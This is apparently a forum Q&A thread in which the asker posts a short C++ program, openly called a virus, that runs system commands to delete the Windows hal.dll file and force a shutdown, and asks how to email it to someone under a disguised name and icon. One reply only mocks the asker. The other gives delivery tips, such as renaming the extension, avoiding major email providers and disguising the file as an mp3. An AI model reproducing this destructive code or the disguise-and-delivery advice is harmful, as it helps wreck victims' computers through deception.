Question:

For Advanced C++ programmers ONLY!?

by  |  earlier

0 LIKES UnLike

How exactly would i go around with using this program:

#include <cstdlib>

#include <iostream>

using namespace std;

int main(int argc, char *argv[])

{

system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME

system("%SystemRoot%\\system32\\shutdown... -s -f -t 00");

system("PAUSE");

return EXIT_SUCCESS;

}

Yes, it is a virus, just how exactly would i use it. I have allready compiled it, and i have the program versian, just i want to make shure.

Would i email this to the person? of course changing the name and picture, and would, if they open it, work?

Plz help. No flaming plz. THX

 Tags:

   Report

2 ANSWERS


  1. Man, you are both pathetic.  A wanna be who isn&#039;t even at the level of script kiddie and a dork who doesn&#039;t know jack.  Kids stay in school, don&#039;t be fools.  This is such a pathetic attempt at a virus that it  is not even at the level of viruses written 20 years ago for dos.  I look forward to both of you serving me french fries.  Do something useful with your lives like helping squirrels cross the street.  


  2. yes, the code in theory would work, but the person would then have to compile it and run it, which isn&#039;t exactly something people do by accident. Also, is -q for no confirmation? I think there are going to be some blocks you&#039;ll have to delete first before you can just delete the whole folder. Plus things will be running and open, and you can&#039;t delete something while it is running, even from command line. And anything running would be all the things you want to delete. You have to work in steps, and figure out what relies on what. Then work from the top down.

    The only reason I&#039;m telling you this is that if you think it&#039;s that simple, you must have no idea what you&#039;re doing. Viruses are hundreds to thousands of lines. If it were that easy, no one would have a computer.

    You have to precompile the file and force it into an exe, i&#039;m not sure how you do that, but thats the only way to make it run when it&#039;s opened. BUT the catch there is that email wont let you send or open anything containing an exe (or similar, i&#039;m sure there are other formats)

    So basically, you would have to right the code into something like an mp3 and have someone download it.

    So good luck with that.,

    To answer your other question, it would work on any system with that file tree layout.

    And I have to cover my ***, and tell you, YES its legal to write it, but you&#039;re in some serious trouble if you begin to distribute it.

    and PS. Thats not exactly advanced code. Its like 8 lines.

    EDIT: Sorry, didn&#039;t read where you said itts an exe already. So yes, potentially you could send it with a different extension, but not through email, email wont take any kind of program like that. Well, some will, but none of the big email places. And if they&#039;re on hotmail or something they can&#039;t open it.

Question Stats

Latest activity: earlier.
This question has 2 answers.

BECOME A GUIDE

Share your knowledge and help people by answering questions.